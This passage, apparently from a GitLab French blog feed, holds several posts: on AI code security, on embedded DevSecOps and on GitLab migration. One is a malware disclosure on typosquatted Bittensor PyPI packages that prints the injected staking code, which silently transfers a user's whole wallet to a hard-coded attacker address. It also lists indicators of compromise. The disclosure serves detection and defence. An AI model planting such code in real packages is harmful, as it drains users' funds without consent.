<p>Chaque développeur doit être en mesure d'expliquer le fonctionnement du code et de garantir sa sécurité avant qu'il ne soit fusionné. Dans ce contexte, la capacité à effectuer une revue en bonne et due forme du code généré par l'IA émerge comme une compétence à part entière et incontournable dans le développement logiciel. Les développeurs qui excellent dans ce domaine seront indispensables, car ils allient rapidité des LLM et réduction des risques de manière réfléchie pour produire un code sécurisé, plus rapidement.</p>
<p>Des outils comme la <a href="https://docs.gitlab.com/user/project/merge_requests/duo_in_merge_requests/">revue de code de GitLab Duo</a> peuvent vous assister. Intégrée à notre assistant IA sur l'ensemble du cycle de développement, cette fonctionnalité enrichit le processus de revue de code. Son objectif n'est pas de remplacer l'expertise humaine, mais de la renforcer : en identifiant les oublis, les incohérences et les zones d'ombre dans les merge requests, l'IA aide les équipes à tenir le rythme de cycles de développement accélérés.</p>
<h2>Sécuriser les modèles à l'aide de prompts</h2>
<p>La puissance des <a href="https://about.gitlab.com/blog/what-is-a-large-language-model-llm/" title="Qu'est-ce qu'un LLM ?">grands modèles de langage (LLM)</a> n'est plus à prouver, mais leur précision dépend des prompts qui leur sont fournis. C'est pourquoi l'ingénierie des prompts devient une compétence centrale de l'utilisation des outils d'IA. Dans le monde des LLM, la requête que vous formulez <em>est</em> votre interface. Les équipes qui apprennent à rédiger des prompts clairs et orientés sécurité joueront un rôle déterminant dans la création de logiciels plus sûrs dès les premières lignes de code.</p>
<p>Des requêtes vagues produisent souvent des résultats vulnérables ou trop simplistes, par exemple, un prompt tel que « crée un formulaire de connexion ». En revanche, le résultat répondra aux normes de sécurité de votre entreprise si vous incluez plus de contexte avec une requête du type « crée un formulaire de connexion <strong>avec</strong> validation des intrants, limitation du débit, hachage sécurisé <strong>et</strong> prise en charge de méthodes d'authentification résistantes à l'hameçonnage, comme les clés d'accès ».</p>
<p>Une <a href="https://www.backslash.security/press-releases/backslash-security-reveals-in-new-research-that-gpt-4-1-other-popular-llms-generate-insecure-code-unless-explicitly-prompted">étude</a> récente de Backslash Security le confirme. Elle montre que les prompts spécifiquement orientés sécurité améliorent considérablement les résultats dans les LLM les plus courants. Lorsque les développeurs demandent simplement aux modèles d'« écrire du code sécurisé », la probabilité d'obtenir un résultat sécurisé reste faible. En revanche, les prompts qui font référence aux <a href="https://cheatsheetseries.owasp.org/cheatsheets/LLM_Prompt_Injection_Prevention_Cheat_Sheet.html">bonnes pratiques de l'OWASP</a> guident efficacement les LLM.</p>
<p>À l'avenir, l'ingénierie des prompts devra faire partie intégrante de la formation des équipes de sécurité au sein des équipes de développement logiciel. Tout comme sont enseignés les coding patterns sécurisés et la modélisation des menaces, expliquer aux développeurs comment guider les outils d'IA sans se départir de cette approche centrée sur la sécurité devient indispensable.</p>
<blockquote>
<p>Pour aller plus loin, consultez ces <a href="https://docs.gitlab.com/development/ai_features/prompt_engineering/">conseils utiles sur l'ingénierie des prompts</a>.</p>
</blockquote>
<h2>Tout analyser, sans exception</h2>
<p>Avec l'essor de l'IA, les équipes écrivent davantage de code, plus rapidement, sans pour autant être plus nombreuses. Ce changement doit profondément modifier notre conception de la sécurité. Il ne s'agit plus seulement d'une vérification finale, mais d'une protection permanente intégrée à tous les aspects du processus de développement.</p>
<p>Une plus grande quantité de code implique davantage de possibilités d'attaques. Et lorsque ce code est partiellement ou entièrement généré, il devient illusoire de s'en remettre uniquement à des pratiques de codage sécurisées ou à l'intuition de chaque développeur pour repérer les vulnérabilités. C'est là que le scanning de sécurité automatisé entre en jeu. Les <a href="https://docs.gitlab.com/user/application_security/sast/">tests statiques de sécurité des applications (SAST)</a>, l'<a href="https://docs.gitlab.com/user/application_security/dependency_scanning/">analyse de la composition logicielle (SCA)</a> et la <a href="https://docs.gitlab.com/user/application_security/secret_detection/">détection des secrets</a> sont aujourd'hui des garde-fous indispensables pour atténuer le risque de fuites de secrets, d'attaques de la chaîne d'approvisionnement logicielle et de faiblesses telles que les injections SQL. Sur des plateformes comme GitLab, la <a href="https://about.gitlab.com/fr-fr/solutions/security-compliance/">sécurité des applications</a> est intégrée en amont dans le workflow des équipes de développement et représente un composant à part entière du cycle de développement. Les scanners peuvent également parcourir l'ensemble du programme pour s'assurer que le nouveau code généré par l'IA est sécurisé <em>dans le contexte de tout le reste du code</em>. Cela peut être difficile à repérer si vous ne vérifiez que le nouveau code dans votre IDE ou dans un correctif généré par l'IA.</p>
<p>Mais les analyses ne suffisent pas, il s'agit de tenir le rythme. Si les équipes de développement veulent suivre la rapidité du développement assisté par l'IA, elles ont besoin d'analyses rapides, précises et évolutives. L'exactitude est particulièrement importante. Si les scanners submergent les équipes de développement de faux positifs, ces dernières risquent de perdre entièrement confiance dans le système.</p>
<p>La seule façon d'agir rapidement <em>et</em> de maintenir la sécurité est d'imposer les scans.</p>
<p>À chaque commit. Sur chaque branche. Sans exception.</p>
<h2>Sécurisez votre code généré par l'IA avec GitLab</h2>
<p>L'IA modifie la façon dont nous créons des logiciels, mais les principes fondamentaux du développement logiciel sécurisé s'appliquent toujours : le code doit faire l'objet d'une revue rigoureuse, des tests doivent être effectués pour contrer les menaces et la sécurité doit toujours être intégrée à chaque étape du cycle de développement. C'est précisément l'approche adoptée par GitLab.</p>
<p>Notre plateforme de développement n'ajoute pas la sécurité en bout de chaîne au workflow. Elle l'intègre directement là où les équipes travaillent déjà : dans l'IDE, dans les merge requests et à chaque étape du <a href="https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/" title="Qu'est-ce qu'un pipeline CI/CD ?">pipeline CI/CD</a>. Les scans s'exécutent automatiquement, et le contexte de sécurité le plus pertinent est mis en évidence pour accélérer les cycles de correction. Comme ces fonctionnalités sont disponibles sur une seule plateforme, celle-là même où les équipes de développement créent, testent et déploient des logiciels, ces dernières n'ont pas à jongler entre différents outils, ni à changer de contexte ou lutter pour obtenir du code sécurisé.</p>
<p>Les fonctionnalités d'IA telles que <a href="https://about.gitlab.com/fr-fr/the-source/ai/understand-and-resolve-vulnerabilities-with-ai-powered-gitlab-duo/">l'explication et la résolution des vulnérabilités de GitLab Duo</a> améliorent la rapidité de développement et mettent à disposition des informations stratégiques qui aident les équipes à comprendre les risques et à les corriger plus rapidement, sans interrompre leur workflow.</p>
<p>L'IA n'est pas une solution miracle pour sécuriser le code. Néanmoins, associée aux bonnes pratiques et à une plateforme conçue pour les développeurs, elle peut participer grandement à la création rapide de logiciels sécurisés et évolutifs.</p>
<blockquote>
<p><a href="https://about.gitlab.com/fr-fr/free-trial/?hosted=saas">Essayez gratuitement GitLab Ultimate avec GitLab Duo Enterprise</a> et créez des logiciels sécurisés, plus rapidement. Grâce au scanning de sécurité natif, aux analyses alimentées par l'IA et à une expérience développeur optimisée, GitLab vous aide à renforcer la sécurité en amont, sans jamais freiner l'innovation.</p>
</blockquote>
]]></content>
        <author>
            <name>Salman Ladha</name>
            <uri>https://about.gitlab.com/blog/authors/salman-ladha</uri>
        </author>
        <published>2025-08-12T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab révèle une série d'attaques sur Bittensor via PyPI]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/gitlab-uncovers-bittensor-theft-campaign-via-pypi/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/gitlab-uncovers-bittensor-theft-campaign-via-pypi/"/>
        <updated>2025-08-11T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>L'équipe de recherche dédiée aux vulnérabilités de GitLab a identifié une série de vols sophistiqués de cryptomonnaie ciblant l'écosystème Bittensor à travers des paquets <a href="https://about.gitlab.com/fr-fr/blog/beginner-guide-python-programming/" title="Qu'est-ce que le Python ?">Python</a> typosquattés sur PyPI.</p>
<p>Notre enquête a commencé lorsque le système de surveillance automatisée des paquets de GitLab a signalé une activité suspecte liée à des paquets Bittensor prisés. Nous avons découvert plusieurs variantes de paquets Bittensor ayant fait l'objet de typosquatting, qui avaient pour objectif de voler de la cryptomonnaie dans les portefeuilles de développeurs et d'utilisateurs peu méfiants.</p>
<p>Les paquets malveillants identifiés ont tous été publiés au cours d'une fenêtre de 25 minutes le 6 août 2025 :</p>
<ul>
<li>
<p><code>bitensor@9.9.4</code> (02:52 UTC)</p>
</li>
<li>
<p><code>bittenso-cli@9.9.4</code> (02:59 UTC)</p>
</li>
<li>
<p><code>qbittensor@9.9.4</code> (03:02 UTC)</p>
</li>
<li>
<p><code>bitensor@9.9.5</code> (03:15 UTC)</p>
</li>
<li>
<p><code>bittenso@9.9.5</code> (03:16 UTC)</p>
</li>
</ul>
<p>Tous les paquets étaient conçus pour imiter les véritables paquets <code>bittensor</code> et <code>bittensor-cli</code>, des composants essentiels du réseau d'IA décentralisé Bittensor.</p>
<h2>Analyse technique : déroulement du vol</h2>
<p>Notre analyse a révélé un vecteur d'attaque soigneusement orchestré où les cybercriminels avaient modifié la fonctionnalité de staking d'origine pour voler des fonds. Les paquets malveillants contenaient une version détournée de la fonction <code>stake_extrinsic</code> dans <code>bittensor_cli/src/commands/stake/add.py</code>.</p>
<p>Là où les utilisateurs s'attendaient à une opération de staking normale, les attaquants avaient inséré du code malveillant à la ligne 275 qui détournait tous les fonds vers leur portefeuille :</p>
<pre><code class="language-python">
result = await transfer_extrinsic(
  subtensor=subtensor,
  wallet=wallet,
  destination=&quot;5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR&quot;,
  amount=amount,
  transfer_all=True,
  prompt=False
)

</code></pre>
<p>Ce processus malveillant corrompait complètement le processus de staking :</p>
<ul>
<li>
<p><strong>Exécution indétectable :</strong> utilisation de <code>prompt=False</code> pour contourner la confirmation de l'utilisateur</p>
</li>
<li>
<p><strong>Vol complet du portefeuille :</strong> définition de <code>transfer_all=True</code> pour voler tous les fonds disponibles, pas seulement le montant de staking</p>
</li>
<li>
<p><strong>Destination codée en dur :</strong> transfert de tous les fonds vers l'adresse du portefeuille du cybercriminel</p>
</li>
<li>
<p><strong>Caché à la vue de tous :</strong> exécution pendant une opération de staking en apparence normale</p>
</li>
</ul>
<p>L'attaque est particulièrement insidieuse, car les utilisateurs croient qu'ils stakent des tokens pour gagner des récompenses, mais à la place, la fonction modifiée vide entièrement leur portefeuille.</p>
<h3>Pourquoi cibler la fonctionnalité de staking ?</h3>
<p>Les attaquants semblent avoir spécifiquement ciblé les opérations de staking pour des raisons calculées. Dans les réseaux blockchain comme Bittensor, le <strong>staking</strong> consiste à verrouiller ses tokens de cryptomonnaie pour soutenir les opérations du réseau afin de gagner des récompenses en retour, un processus que l'on peut comparer aux intérêts versés sur un compte épargne.</p>
<p>Le staking est ainsi un vecteur d'attaque idéal :</p>
<ol>
<li>
<p><strong>Cibles de grande valeur :</strong> les utilisateurs qui stakent détiennent généralement des avoirs substantiels en cryptomonnaie, ce qui en fait des victimes particulièrement intéressantes.</p>
</li>
<li>
<p><strong>Accès requis au portefeuille :</strong> les opérations de staking nécessitent que les utilisateurs déverrouillent leurs portefeuilles et fournissent une authentification. Cette opération donne au code malveillant exactement ce dont celui-ci a besoin pour vider les fonds.</p>
</li>
<li>
<p><strong>Activité réseau attendue :</strong> puisque le staking implique naturellement des transactions blockchain, le transfert malveillant supplémentaire n'éveille pas immédiatement les soupçons.</p>
</li>
<li>
<p><strong>Opérations routinières :</strong> les utilisateurs expérimentés stakent régulièrement ; ce processus familier les pousse à la complaisance et endort leur vigilance.</p>
</li>
<li>
<p><strong>Détection retardée :</strong> les utilisateurs pourraient d'abord supposer que les transactions correspondent à des frais de staking normaux ou à des retenues temporaires, ce qui retarde la découverte du vol.</p>
</li>
</ol>
<p>En cachant du code malveillant dans une fonctionnalité de staking d'apparence légitime, les cybercriminels ont exploité à la fois les exigences techniques et la psychologie des utilisateurs des opérations de blockchain routinières.</p>
<h2>Suivre l'argent</h2>
<p>L'équipe de recherche dédiée aux vulnérabilités de GitLab a cherché à identifier l'origine des flux de cryptomonnaie pour comprendre l'ampleur de cette opération. Le portefeuille de destination principal <code>5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR</code> a servi de point de collecte central avant que les fonds ne soient distribués à travers un réseau de portefeuilles intermédiaires.</p>
<h3>Le réseau de blanchiment d'argent</h3>
<p>Notre analyse a révélé un mécanisme de blanchiment à plusieurs sauts :</p>
<ol>
<li>
<p><strong>Collecte principale :</strong> les fonds volés arrivent initialement sur <code>5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR</code></p>
</li>
<li>
<p><strong>Réseau de distribution :</strong> les fonds sont rapidement déplacés vers des portefeuilles intermédiaires :</p>
<ul>
<li><code>5HpsyxZKvCvLEdLTkWRM4d7nHPnXcbm4ayAsJoaVVW2TLVP1</code></li>
<li><code>5GiqMKy1kAXN6j9kCuog59VjoJXUL2GnVSsmCRyHkggvhqNC</code></li>
<li><code>5ER5ojwWNF79k5wvsJhcgvWmHkhKfW5tCFzDpj1Wi4oUhPs6</code></li>
<li><code>5CquBemBzAXx9GtW94qeHgPya8dgvngYXZmYTWqnpea5nsiL</code></li>
</ul>
</li>
<li>
<p><strong>Consolidation finale :</strong> tous les chemins convergent finalement vers <code>5D6BH6ai79EVN51orsf9LG3k1HXxoEhPaZGeKBT5oDwnd2Bu</code></p>
</li>
<li>
<p><strong>Portefeuille où l'argent est encaissé :</strong> la destination finale semble être <code>5HDo9i9XynX44DFjeoabFqPF3XXmFCkJASC7FxWpbqv6D7QQ</code></p>
</li>
</ol>
<h2>Le typosquatting</h2>
<p>Les cybercriminels ont utilisé une stratégie de typosquatting qui exploite les erreurs de frappe courantes et les conventions de nommage des paquets :</p>
<ul>
<li>
<p><strong>Caractères manquants :</strong> <code>bitensor</code> au lieu de <code>bittensor</code> ('t' manquant)</p>
</li>
<li>
<p><strong>Troncation :</strong> <code>bittenso</code> au lieu de <code>bittensor</code> ('r' final manquant)</p>
</li>
<li>
<p><strong>Imitation de version :</strong> tous les paquets utilisaient des numéros de version (<code>9.9.4</code>, <code>9.9.5</code>) qui correspondaient étroitement aux versions des véritables paquets.</p>
</li>
</ul>
<p>Cette approche maximise les chances d'installation en raison des erreurs de frappe des équipes de développement lors des commandes <code>pip install</code> et des erreurs de copier-coller depuis la documentation.</p>
<h2>Perspectives : l'avenir de la sécurité de la chaîne d'approvisionnement</h2>
<p>GitLab continue d'investir dans la recherche proactive en matière de sécurité pour identifier et neutraliser les menaces avant qu'elles n'impactent notre communauté. Notre système de détection automatisé travaille 24 heures sur 24 pour protéger la chaîne d'approvisionnement logicielle qui alimente le développement moderne.</p>
<p>La détection et l'analyse rapides de cette attaque démontrent la valeur des mesures de sécurité proactives dans la lutte contre les menaces sophistiquées. En partageant nos découvertes, nous visons à renforcer la résilience de l'écosystème entier en cas de futures attaques.</p>
<h2>Indicateurs de compromission</h2>
<table>
<thead>
<tr>
<th style="text-align:left">IOC</th>
<th style="text-align:left">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left"><code>pkg:pypi/bittenso@9.9.5</code></td>
<td style="text-align:left">Paquet PyPI malveillant</td>
</tr>
<tr>
<td style="text-align:left"><code>pkg:pypi/bitensor@9.9.5</code></td>
<td style="text-align:left">Paquet PyPI malveillant</td>
</tr>
<tr>
<td style="text-align:left"><code>pkg:pypi/bitensor@9.9.4</code></td>
<td style="text-align:left">Paquet PyPI malveillant</td>
</tr>
<tr>
<td style="text-align:left"><code>pkg:pypi/qbittensor@9.9.4</code></td>
<td style="text-align:left">Paquet PyPI malveillant</td>
</tr>
<tr>
<td style="text-align:left"><code>pkg:pypi/bittenso-cli@9.9.4</code></td>
<td style="text-align:left">Paquet PyPI malveillant</td>
</tr>
<tr>
<td style="text-align:left"><code>5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR</code></td>
<td style="text-align:left">Adresse de portefeuille Bittensor (TAO) pour recevoir les fonds volés</td>
</tr>
</tbody>
</table>
<h2>Chronologie</h2>
<table>
<thead>
<tr>
<th style="text-align:left">Date et heure</th>
<th style="text-align:left">Action</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left"><strong>2025-08-06T06:33</strong></td>
<td style="text-align:left">Analyse initiale des paquets suspects signalés par le système de surveillance automatisé</td>
</tr>
<tr>
<td style="text-align:left"><strong>2025-08-06T09:42</strong></td>
<td style="text-align:left">Signalement de <code>bittenso@9.9.5</code> à PyPi.org</td>
</tr>
<tr>
<td style="text-align:left"><strong>2025-08-06T09:46</strong></td>
<td style="text-align:left">Signalement de <code>bitensor@9.9.5</code> à PyPi.org</td>
</tr>
<tr>
<td style="text-align:left"><strong>2025-08-06T09:47</strong></td>
<td style="text-align:left">Signalement de <code>bitensor@9.9.4</code> à PyPi.org</td>
</tr>
<tr>
<td style="text-align:left"><strong>2025-08-06T09:49</strong></td>
<td style="text-align:left">Signalement de <code>qbittensor@9.9.4</code> à PyPi.org</td>
</tr>
<tr>
<td style="text-align:left"><strong>2025-08-06T09:51</strong></td>
<td style="text-align:left">Signalement de <code>bittenso-cli@9.9.4</code> à PyPi.org</td>
</tr>
<tr>
<td style="text-align:left"><strong>2025-08-06T15:26</strong></td>
<td style="text-align:left">PyPi.org a supprimé <code>bittenso@9.9.5</code></td>
</tr>
<tr>
<td style="text-align:left"><strong>2025-08-06T15:27</strong></td>
<td style="text-align:left">PyPi.org a supprimé <code>bitensor@9.9.5</code></td>
</tr>
<tr>
<td style="text-align:left"><strong>2025-08-06T15:27</strong></td>
<td style="text-align:left">PyPi.org a supprimé <code>bitensor@9.9.4</code></td>
</tr>
<tr>
<td style="text-align:left"><strong>2025-08-06T15:28</strong></td>
<td style="text-align:left">PyPi.org a supprimé <code>qbittensor@9.9.4</code></td>
</tr>
<tr>
<td style="text-align:left"><strong>2025-08-06T15:28</strong></td>
<td style="text-align:left">PyPi.org a supprimé <code>bittenso-cli@9.9.4</code></td>
</tr>
</tbody>
</table>
]]></content>
        <author>
            <name>Michael Henriksen</name>
            <uri>https://about.gitlab.com/blog/authors/michael-henriksen</uri>
        </author>
        <published>2025-08-11T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[DevSecOps et systèmes embarqués : pourquoi adopter cette approche ?]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/why-now-is-the-time-for-embedded-devsecops/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/why-now-is-the-time-for-embedded-devsecops/"/>
        <updated>2025-08-06T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Longtemps perçue comme réservée aux applications SaaS, l'approche <a href="https://about.gitlab.com/fr-fr/topics/devsecops/" title="Qu'est-ce que le DevSecOps ?">DevSecOps</a> s'impose désormais dans le développement de systèmes embarqués. Cette approche est portée par l'évolution du rôle des logiciels, qui sont devenus un facteur de différenciation majeur. Face aux nouvelles attentes du marché, les pratiques de développement modernes sont désormais incontournables. En réponse, les entreprises adoptent l'approche DevSecOps dans le développement de systèmes embarqués.</p>
<p>Cette approche consiste à appliquer des pratiques d'ingénierie collaborative, des chaînes d'outils intégrées et une automatisation des processus de compilation, de test et de sécurisation des logiciels au développement de systèmes embarqués. Elle introduit également les ajustements nécessaires pour tenir compte des spécificités matérielles.</p>
<h2>Convergence des forces du marché</h2>
<p>Les équipes en charge des systèmes embarqués doivent désormais faire face à une convergence de trois grandes forces du marché qui rendent la modernisation de leurs pratiques inévitable.</p>
<h3>1. L'essor des produits définis par logiciel</h3>
<p>Les produits autrefois définis principalement par leur composant matériel se différencient désormais par leurs capacités logicielles. Cette évolution est particulièrement visible sur le marché des véhicules définis par logiciel (SDV), dont la valeur devrait passer de 213,5 milliards de dollars en 2024 à <a href="https://www.marketsandmarkets.com/Market-Reports/software-defined-vehicles-market-187205966.html">1,24 billions de dollars</a> d'ici 2030, soit un taux de croissance annuel moyen de 34 %.
La part du contenu logiciel embarqué de ces véhicules explose. D'ici fin 2025, chaque véhicule contiendra en moyenne <a href="https://www.statista.com/statistics/1370978/automotive-software-average-lines-of-codes-per-vehicle-globally/">650 millions de lignes de code</a>. Les approches traditionnelles du développement de systèmes embarqués ne parviennent pas à gérer ce niveau de complexité logicielle.</p>
<h3>2. La virtualisation matérielle comme catalyseur technique</h3>
<p>La virtualisation matérielle joue un rôle technique central dans l'approche DevSecOps pour le développement de systèmes embarqués. Les unités de commande électronique virtuelles (vECU), les processeurs ARM hébergés sur le cloud et les environnements de simulation sophistiqués sont de plus en plus répandus. Le matériel virtuel permet d'effectuer des tests qui nécessitaient autrefois du matériel physique.</p>
<p>Ces technologies de virtualisation posent les bases de l'<a href="https://about.gitlab.com/fr-fr/topics/ci-cd/" title="Qu'est-ce que l'intégration continue ?">intégration continue (CI)</a>. Toutefois, ce n'est que lorsqu'elles sont intégrées dans des workflows automatisés que leur utilisation fait sens. Combinés à des pratiques de développement collaboratif et à des <a href="https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/" title="Qu'est-ce qu'un pipeline CI/CD ?">pipelines CI/CD</a> automatisés, les tests virtuels aident les équipes à détecter les problèmes beaucoup plus tôt, lorsque l'application de correctifs est bien moins onéreuse. Sans approche DevSecOps pour le développement de systèmes embarqués et sans outils pour orchestrer ces ressources virtuelles, les entreprises ne peuvent pas tirer profit de la virtualisation.</p>
<h3>3. La pression concurrentielle et économique</h3>
<p>Trois dynamiques corrélées modifient le paysage concurrentiel du développement de systèmes embarqués :</p>
<ul>
<li>Les nouvelles générations d'ingénieurs ont des attentes bien précises. Comme l'explique un responsable du développement de systèmes embarqués chez un client de GitLab : « Les jeunes diplômés développant des systèmes embarqués ne connaissent pas les outils hérités comme Perforce. Ils ont été formés sur <a href="https://about.gitlab.com/fr-fr/blog/what-is-git/" title="Qu'est-ce que Git ?">Git</a>. S'ils doivent utiliser des outils dépassés, ils démissionnent au bout de six mois. » Les entreprises qui persistent à utiliser des outils obsolètes risquent de perdre leur capacité à attirer les meilleurs ingénieurs.</li>
<li>À l'inverse, les entreprises à la pointe de la technologie qui attirent les ingénieurs les plus talentueux avec des pratiques modernes ont un avantage majeur sur leurs concurrents et obtiennent des résultats remarquables. Par exemple, en 2024, <a href="https://spacenews.com/spacex-launch-surge-helps-set-new-global-launch-record-in-2024/">SpaceX</a> a réalisé le plus grand nombre de lancements orbitaux dans le monde. Les entreprises qui utilisent les dernières technologies excellent dans le développement logiciel et adoptent une culture de développement moderne. Elles obtiennent notamment des résultats que les entreprises qui continuent de faire appel à des outils traditionnels ont du mal à égaler.</li>
<li>Les longs cycles de rétroaction alourdissent considérablement les coûts du développement embarqué et rendent l'adoption d'une approche DevSecOps plus urgente que jamais. Lorsque les équipes de développement doivent patienter plusieurs semaines pour tester leur code sur des bancs d'essai matériels, la productivité chute intrinsèquement : les ingénieurs perdent le fil et doivent changer de contexte lorsque les résultats des tests leur parviennent. Ce phénomène s'aggrave encore lorsque des bogues sont découverts tardivement, et les correctifs deviennent plus coûteux à implémenter. Dans les systèmes embarqués, ces délais sont structurels.</li>
</ul>
<p>Seule une approche DevSecOps permet de répondre efficacement à ces problématiques.</p>
<h2>Axes de transformation prioritaires</h2>
<p>Portées par ces dynamiques de marché, les entreprises avant-gardistes dans le domaine des systèmes embarqués adoptent une approche DevSecOps pour transformer en profondeur leurs pratiques.</p>
<h3>Mise en place de tests continus</h3>
<p>Les goulots d'étranglement matériels représentent l'une des contraintes les plus importantes du développement traditionnel de systèmes embarqués. Ces retards créent des conditions économiques défavorables dues à l'accès tardif au matériel et à l'augmentation des coûts qui en résultent.
Pour résoudre ce problème, il est nécessaire d'adopter une approche multidimensionnelle :</p>
<ul>
<li>Automatiser l'orchestration des bancs de test matériel partagés, souvent coûteux, entre les développeurs</li>
<li>Intégrer les tests SIL (Software-in-the-Loop) et HIL (Hardware-in-the-Loop) dans des pipelines CI automatisés</li>
<li>Standardiser les environnements de compilation avec un <a href="https://about.gitlab.com/fr-fr/topics/version-control/" title="Qu'est-ce que le contrôle de version ?">contrôle de version</a> rigoureux</li>
</ul>
<p>Avec le composant <a href="https://about.gitlab.com/fr-fr/topics/ci-cd/" title="Qu'est-ce que l'approche CI/CD ?">CI/CD</a> <a href="https://gitlab.com/gitlab-accelerates-embedded/comp/device-cloud">On-Premises Device Cloud</a> de GitLab, les équipes de développement de systèmes embarqués peuvent automatiser l'orchestration des tests de micrologiciels sur du matériel virtuel et réel. Elles réduisent ainsi plus facilement les cycles de rétroaction de plusieurs semaines à quelques heures et détectent les bogues dès le début du cycle du développement logiciel.</p>
<h3>Automatisation de la conformité et de la sécurité</h3>
<p>Les systèmes embarqués évoluent dans un environnement fortement réglementé, où les processus de conformité manuels ne sont plus viables.
Les entreprises à la pointe automatisent la gouvernance de leurs processus de sécurité et de conformité en adoptant plusieurs pratiques clés :</p>
<ul>
<li>Elles remplacent les workflows manuels par des <a href="https://about.gitlab.com/fr-fr/blog/introducing-custom-compliance-frameworks-in-gitlab/" title="Qu'est-ce qu'un framework de conformité ?">frameworks de conformité</a> automatisés.</li>
<li>Elles intègrent des outils spécialisés de sécurité fonctionnelle, de cybersécurité et de qualité du code dans des pipelines CI automatisés.</li>
<li>Elles automatisent les workflows d'approbation, en appliquant systématiquement des revues de code et en maintenant des pistes d'audit complètes.</li>
<li>Elles configurent des frameworks de conformité alignés sur des normes sectorielles, telles que ISO 26262 ou DO-178C.</li>
</ul>
<p>Cette approche permet une plus grande maturité en matière de conformité sans effectifs supplémentaires. Ce qui constituait autrefois un fardeau devient un avantage concurrentiel. Un grand constructeur de véhicules électriques exécute ainsi 120 000 jobs CI/CD par jour avec GitLab, dont une part importante inclut des contrôles de conformité. Grâce à cette automatisation, l'entreprise peut corriger les bogues et déployer des corrections sur ses véhicules dans l'heure qui suit leur découverte. Un tel niveau d'évolutivité et de réactivité serait extrêmement difficile à atteindre sans l'automatisation des workflows de conformité.</p>
<h3>Innovation collaborative</h3>
<p>Historiquement, pour des raisons commerciales et techniques légitimes, les équipes chargées du développement de systèmes embarqués travaillaient souvent seules à leur bureau. Les possibilités de collaboration étaient ainsi limitées. Pour remédier à cette situation, les entreprises innovantes fournissent une visibilité partagée du code grâce à un contrôle de version intégré et à des workflows CI/CD. Ces pratiques modernes attirent et fidélisent les ingénieurs tout en favorisant l'innovation.
Comme le souligne le directeur <a href="https://about.gitlab.com/fr-fr/topics/devops/" title="Qu'est-ce que l'approche DevOps ?">DevOps</a> d'un grand constructeur automobile à la pointe de la technologie (client de GitLab) : « Il est vraiment essentiel pour nous de travailler sur une seule plateforme où il est facile de vérifier le statut de nos workflows. Lorsque les développeurs soumettent une merge request, ils ont immédiatement une visibilité sur le statut du workflow concerné afin de pouvoir agir le plus rapidement possible. » Cette transparence accélère l'innovation. Elle permet aux constructeurs automobiles d'itérer rapidement sur les fonctionnalités logicielles qui différencient leurs véhicules sur un marché de plus en plus concurrentiel.</p>
<h2>Une fenêtre d'opportunité</h2>
<p>Les leaders du développement de systèmes embarqués disposent aujourd'hui d'une fenêtre d'opportunité unique pour prendre une longueur d'avance en adoptant l'approche DevSecOps. Mais ils doivent agir rapidement, car à mesure que les logiciels deviennent le principal levier de différenciation des produits embarqués, l'écart entre les pionniers et les retardataires ne cessera de se creuser.
Les entreprises qui réussiront cette transition réduiront leurs coûts, accéléreront leurs délais de mise sur le marché et développeront des logiciels plus innovants qui leur permettront de se différencier. Les leaders du secteur de demain seront ceux qui, dès aujourd'hui, font le choix de l'approche DevSecOps.</p>
<blockquote>
<p>Bien que cet article mette en lumière les raisons pour lesquelles il est désormais essentiel pour les équipes de développement de systèmes embarqués d'adopter l'approche DevSecOps, vous vous demandez peut-être par où commencer. Pour passer à l'action, découvrez comment mettre ces concepts en pratique dans notre guide : <a href="https://about.gitlab.com/blog/4-ways-to-accelerate-embedded-development-with-gitlab/">Accélérez le développement de systèmes embarqués avec GitLab</a>.</p>
</blockquote>
]]></content>
        <author>
            <name>Matt DeLaney</name>
            <uri>https://about.gitlab.com/blog/authors/matt-delaney</uri>
        </author>
        <published>2025-08-06T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[La migration par transfert direct est désormais disponible]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/migrating-by-direct-transfer-is-generally-available/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/migrating-by-direct-transfer-is-generally-available/"/>
        <updated>2025-08-04T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>La migration des groupes et projets GitLab par transfert direct est désormais disponible dans la version GitLab 18.3. Cette fonctionnalité apporte une méthode simple et automatisée pour migrer des ressources GitLab entre instances GitLab à un public encore plus large.</p>
<p>Le <a href="https://docs.gitlab.com/user/group/import/">transfert direct</a> vous permet de créer facilement une copie des ressources GitLab de votre choix sur la même instance ou sur une autre instance GitLab. Vous pouvez utiliser l'interface utilisateur ou l'API. L'interface utilisateur est intuitive et simple d'utilisation, tandis que <a href="https://docs.gitlab.com/ee/api/bulk_imports.html">l'API</a> vous offre une flexibilité supplémentaire pour choisir les ressources à copier.</p>
<p>La migration par transfert direct représente une amélioration majeure par rapport à la <a href="https://docs.gitlab.com/ee/user/project/settings/import_export.html#migrate-projects-by-uploading-an-export-file">migration de groupes et de projets via l'exportation de fichiers</a> pour les raisons suivantes :</p>
<ul>
<li>Vous n'avez plus besoin d'exporter manuellement chaque groupe et projet individuel vers un fichier, puis d'importer tous ces fichiers vers un nouvel emplacement. Désormais, vous pouvez directement migrer tout groupe de niveau supérieur dont vous avez le rôle de propriétaire avec tous ses sous-groupes et projets.</li>
<li>Elle permet le <a href="https://about.gitlab.com/blog/streamline-migrations-with-user-contribution-and-membership-mapping/">mappage des contributions utilisateur après l'importation</a> (comme la paternité des tickets ou des commentaires), ce qui vous offre plus de flexibilité et de contrôle.</li>
